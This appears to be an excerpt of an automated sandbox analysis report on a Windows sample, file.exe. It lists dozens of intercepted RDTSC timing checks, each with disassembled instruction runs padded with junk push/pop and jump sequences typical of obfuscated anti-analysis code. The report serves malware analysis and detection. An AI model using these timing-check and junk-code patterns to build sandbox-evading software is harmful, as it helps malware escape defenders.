Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C50C8 second address: 9C50CC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C50CC second address: 9C50DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA44129712Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6098 second address: 9C609C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD7B9 second address: 9CD7D4 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FA441297135h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD7D4 second address: 9CD7DC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD7DC second address: 9CD7E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD1E9 second address: 9CD1F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 push edi 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD1F3 second address: 9CD1F9 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD341 second address: 9CD347 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD347 second address: 9CD352 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD352 second address: 9CD371 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343E5h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD371 second address: 9CD38F instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FA44129712Dh 0x0000000e jnl 00007FA441297128h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9CD38F second address: 9CD3A4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA4407343E1h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C10C6 second address: 9C10CB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C10CB second address: 9C10D0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C5236 second address: 9C523D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C523D second address: 9C5242 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C5242 second address: 9C5253 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b je 00007FA441297126h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C5253 second address: 9C5260 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA4407343D6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9C6223 second address: 9C6228 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D85E3 second address: 9D8606 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343E9h 0x00000007 jl 00007FA4407343D6h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 974849 second address: 974851 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7351 second address: 9D7355 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D7C4B second address: 9D7C4F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9D80B0 second address: 9D80B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB327 second address: 9DB35D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA441297133h 0x00000007 jmp 00007FA441297136h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f ja 00007FA441297126h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB35D second address: 9DB364 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB364 second address: 9DB374 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA44129712Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9DB374 second address: 9DB378 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1560 second address: 9E1568 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1568 second address: 9E156E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E156E second address: 9E1577 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1577 second address: 9E157D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E157D second address: 9E1583 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E19BE second address: 9E19C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E19C4 second address: 9E19C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E19C9 second address: 9E1A16 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343E8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push esi 0x0000000c jmp 00007FA4407343E5h 0x00000011 pushad 0x00000012 popad 0x00000013 pop esi 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007FA4407343E0h 0x0000001c push ecx 0x0000001d pop ecx 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1A16 second address: 9E1A1F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 pushad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1A1F second address: 9E1A25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E1EF4 second address: 9E1EF9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9928E6 second address: 9928EA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9928EA second address: 9928EE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9928EE second address: 9928F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9928F8 second address: 9928FC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9928FC second address: 99292C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 pushad 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d jmp 00007FA4407343E4h 0x00000012 jo 00007FA4407343D6h 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b jc 00007FA4407343D6h 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99292C second address: 992930 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992930 second address: 992952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FA4407343D6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007FA4407343E2h 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992952 second address: 99295C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007FA441297126h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E232F second address: 9E2348 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FA4407343DFh 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop edi 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E2348 second address: 9E2372 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA441297132h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FA441297132h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E0BC5 second address: 9E0BCB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2811 second address: 9B2815 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2815 second address: 9B281B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B281B second address: 9B2869 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 jno 00007FA441297126h 0x00000009 pop ebx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edi 0x0000000e pushad 0x0000000f jmp 00007FA441297134h 0x00000014 pushad 0x00000015 popad 0x00000016 popad 0x00000017 pop edi 0x00000018 nop 0x00000019 mov edi, 39D22CA4h 0x0000001e lea eax, dword ptr [ebp+1248651Bh] 0x00000024 mov dword ptr [ebp+124561B2h], ebx 0x0000002a nop 0x0000002b jnl 00007FA44129712Eh 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2869 second address: 9B2880 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FA4407343E2h 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2A2C second address: 9B2A30 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2CCD second address: 9B2CD2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2E68 second address: 9B2E6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2E6E second address: 9B2E94 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA4407343E3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c jmp 00007FA4407343DAh 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2E94 second address: 9B2E9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B2E9C second address: 9B2EDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a jl 00007FA4407343E2h 0x00000010 mov eax, dword ptr [eax] 0x00000012 jmp 00007FA4407343DFh 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b push eax 0x0000001c push edx 0x0000001d push esi 0x0000001e jmp 00007FA4407343DBh 0x00000023 pop esi 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B312D second address: 9B3151 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FA441297138h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B3151 second address: 9B315C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 ja 00007FA4407343D6h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B324A second address: 9B3259 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jng 00007FA441297126h 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B3259 second address: 9B325D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B32F4 second address: 9B3361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 jmp 00007FA441297135h 0x0000000a popad 0x0000000b push eax 0x0000000c pushad 0x0000000d jmp 00007FA44129712Eh 0x00000012 jc 00007FA441297135h 0x00000018 jmp 00007FA44129712Fh 0x0000001d popad 0x0000001e nop 0x0000001f mov ecx, 4EFE0E77h 0x00000024 push 00000004h 0x00000026 mov dx, 2D8Fh 0x0000002a nop 0x0000002b jnc 00007FA441297139h 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 pushad 0x00000035 push eax 0x00000036 push edx 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B3361 second address: 9B3368 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B3952 second address: 9B3956 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B3A9A second address: 9B3A9E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B3B61 second address: 9B3BBE instructions: 0x00000000 rdtsc 0x00000002 je 00007FA441297126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop esi 0x0000000b mov dword ptr [esp], eax 0x0000000e mov dword ptr [ebp+122D18C7h], ecx 0x00000014 lea eax, dword ptr [ebp+1248655Fh] 0x0000001a jmp 00007FA441297133h 0x0000001f mov ecx, dword ptr [ebp+122D18B2h] 0x00000025 nop 0x00000026 push ebx 0x00000027 pushad 0x00000028 jmp 00007FA441297134h 0x0000002d push eax 0x0000002e pop eax 0x0000002f popad 0x00000030 pop ebx 0x00000031 push eax 0x00000032 push eax 0x00000033 push edx 0x00000034 jns 00007FA44129712Ch 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B3BBE second address: 9B3BC4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9B3BC4 second address: 9928E6 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FA441297126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push edi 0x00000010 call 00007FA441297128h 0x00000015 pop edi 0x00000016 mov dword ptr [esp+04h], edi 0x0000001a add dword ptr [esp+04h], 0000001Bh 0x00000022 inc edi 0x00000023 push edi 0x00000024 ret 0x00000025 pop edi 0x00000026 ret 0x00000027 movsx edx, di 0x0000002a lea eax, dword ptr [ebp+1248651Bh] 0x00000030 push 00000000h 0x00000032 push ebp 0x00000033 call 00007FA441297128h 0x00000038 pop ebp 0x00000039 mov dword ptr [esp+04h], ebp 0x0000003d add dword ptr [esp+04h], 00000015h 0x00000045 inc ebp 0x00000046 push ebp 0x00000047 ret 0x00000048 pop ebp 0x00000049 ret 0x0000004a jmp 00007FA44129712Bh 0x0000004f push eax 0x00000050 push edx 0x00000051 jmp 00007FA44129712Ch 0x00000056 pop edx 0x00000057 mov dword ptr [esp], eax 0x0000005a jmp 00007FA44129712Ah 0x0000005f call dword ptr [ebp+122D1967h] 0x00000065 pushad 0x00000066 jno 00007FA44129712Ch 0x0000006c push eax 0x0000006d push edx 0x0000006e pushad 0x0000006f popad 0x00000070 push eax 0x00000071 push edx 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 992944 second address: 99294A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 99294A second address: 992952 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5E61 second address: 9E5E8E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 jc 00007FA4407343D6h 0x0000000c popad 0x0000000d jmp 00007FA4407343DFh 0x00000012 jmp 00007FA4407343DEh 0x00000017 pushad 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E5FCB second address: 9E5FD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007FA441297126h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E611F second address: 9E6123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6123 second address: 9E6127 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6127 second address: 9E612D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E612D second address: 9E6137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6137 second address: 9E613B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E613B second address: 9E6153 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FA441297126h 0x00000008 jmp 00007FA44129712Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6153 second address: 9E6162 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA4407343DBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6162 second address: 9E6166 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6166 second address: 9E616C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6447 second address: 9E645D instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FA441297126h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a jc 00007FA44129712Ch 0x00000010 je 00007FA441297126h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6716 second address: 9E6722 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6722 second address: 9E6726 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6726 second address: 9E672C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E672C second address: 9E673F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FA44129712Dh 0x00000009 push edi 0x0000000a pop edi 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E6878 second address: 9E687E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9E687E second address: 9E6882 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA0EE second address: 9EA0F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA0F8 second address: 9EA0FE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA0FE second address: 9EA102 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EA102 second address: 9EA117 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FA441297131h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE6D8 second address: 9EE6E2 instructions: 0x00000000 rdtsc 0x00000002 jo 00007FA4407343D6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 9EE6E2 second address: 9EE6EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
